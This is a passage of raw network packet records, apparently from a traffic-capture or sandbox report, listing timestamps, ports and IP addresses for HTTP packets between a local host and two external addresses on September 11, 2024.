Sep 11, 2024 16:22:19.232341051 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.232347965 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.232358932 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.232364893 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.232394934 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.232445955 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.232470989 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.232476950 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.232487917 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.232492924 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.232498884 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.232510090 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.232515097 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.232520103 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.232542038 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.232559919 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.232594967 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.232600927 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.232605934 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.232610941 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.232621908 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.232628107 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.232639074 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.232639074 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.232646942 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.232673883 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.232693911 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.233278036 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.233283043 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.233294964 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.233329058 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.233515978 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.233521938 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.233536005 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.233549118 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.233553886 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.233557940 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.233561993 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.233565092 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.233577967 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.233578920 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.233588934 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.233596087 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.233597040 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.233638048 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.233688116 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.233694077 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.233705044 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.233710051 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.233715057 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.233726978 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.233736038 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.233752012 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.233773947 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.233823061 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.233829021 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.233841896 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.233854055 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.233860016 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.233870983 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.233871937 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.233876944 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.233884096 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.233895063 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.233901024 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.233902931 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.233925104 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.233953953 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.234072924 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.234077930 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.234087944 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.234092951 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.234098911 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.234111071 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.234116077 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.234122038 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.234122992 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.234157085 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.234478951 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.234486103 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.234492064 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.234523058 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.234570026 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.234575987 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.234586954 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.234592915 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.234597921 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.234603882 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.234621048 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.234644890 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.234740973 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.234746933 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.234786987 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.234806061 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.234812021 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.234822035 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.234827995 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.234833956 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.234843969 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.234858036 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.234882116 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.234913111 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.234919071 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.234930038 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.234934092 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.234939098 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.234951019 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.234956026 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.234962940 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.234962940 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.234981060 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.235006094 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.235011101 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.235016108 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.235016108 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.235022068 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.235028028 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.235055923 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.235075951 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.249800920 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.249820948 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.249833107 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.249839067 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.249847889 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.249922037 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.249922037 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.249942064 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.249948025 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.249958038 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.249990940 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.253213882 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.253232002 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.253237963 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.253297091 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.253297091 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.253355026 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.253360987 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.253366947 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.253371954 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.253427982 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.253427982 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.253443003 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.253448963 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.253459930 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.253464937 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.253484011 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.253504992 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.253511906 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.253528118 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.253540993 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.253570080 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.253570080 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.253618002 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.253624916 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.253635883 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.253674984 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.253710985 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.253716946 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.253722906 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.253727913 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.253770113 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.253770113 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.253819942 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.253829002 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.253839970 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.253844976 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.253851891 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.253902912 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.253902912 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.253978014 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.254041910 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.254048109 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.254054070 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.254055977 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.254060984 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.254076004 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.254082918 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.254087925 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.254095078 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.254105091 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.254105091 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.254122972 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.257131100 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.257137060 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.257145882 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.257189035 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.257194042 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.257205009 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.257209063 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.257210016 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.257244110 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.257256031 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.257292986 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.257297993 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.257308960 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.257313967 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.257325888 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.257330894 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.257343054 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.257354021 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.257354021 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.257375956 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.257900953 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.258013010 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.259335041 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.259341002 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.259354115 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.259394884 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.259418011 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.259423018 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.259433031 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.259438038 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.259443998 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.259464979 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.259488106 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.259512901 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.259519100 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.259529114 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.259532928 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.259546995 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.259555101 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.259563923 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.259582996 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.259641886 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.259648085 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.259685040 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.259814978 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.259819031 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.259829998 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.259835005 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.259840965 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.259851933 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.259856939 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.259865999 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.259886026 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.259947062 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.259995937 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.260005951 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.260042906 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.260088921 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.260094881 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.260099888 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.260104895 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.260139942 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.260207891 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.260212898 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.260224104 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.260227919 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.260240078 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.260245085 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.260251045 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.260251999 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.260266066 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.260303020 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.260385036 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.260390997 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.260432005 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.262658119 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.262664080 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.262676001 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.262716055 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.262736082 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.262742043 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.262752056 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.262758017 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.262782097 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.262811899 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.262818098 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.262829065 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.262834072 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.262840033 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.262871027 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.262877941 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.262892008 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.262897968 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.262902975 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.262926102 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.263465881 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.263472080 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.263478041 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.263524055 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.263524055 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.263554096 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.263560057 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.263566017 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.263571024 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.263581991 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.263597012 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.263602972 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.263612986 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.263613939 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.263619900 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.263654947 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.263654947 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.263676882 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.263683081 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.263708115 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.263725042 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.263753891 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.265053988 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.265065908 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.265078068 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.265083075 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.265088081 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.265125990 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.265145063 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.265150070 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.265162945 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.265192032 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.265331984 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.265526056 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.265530109 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.265582085 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.265633106 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.265639067 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.265644073 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.265722036 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.265748024 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.265760899 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.265765905 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.265769958 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.265774965 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.265780926 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.265790939 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.265795946 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.265815020 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.265820026 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.265827894 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.265827894 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.265830040 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.265847921 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.265861034 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.266015053 CEST	80	49736	176.113.115.33	192.168.2.4
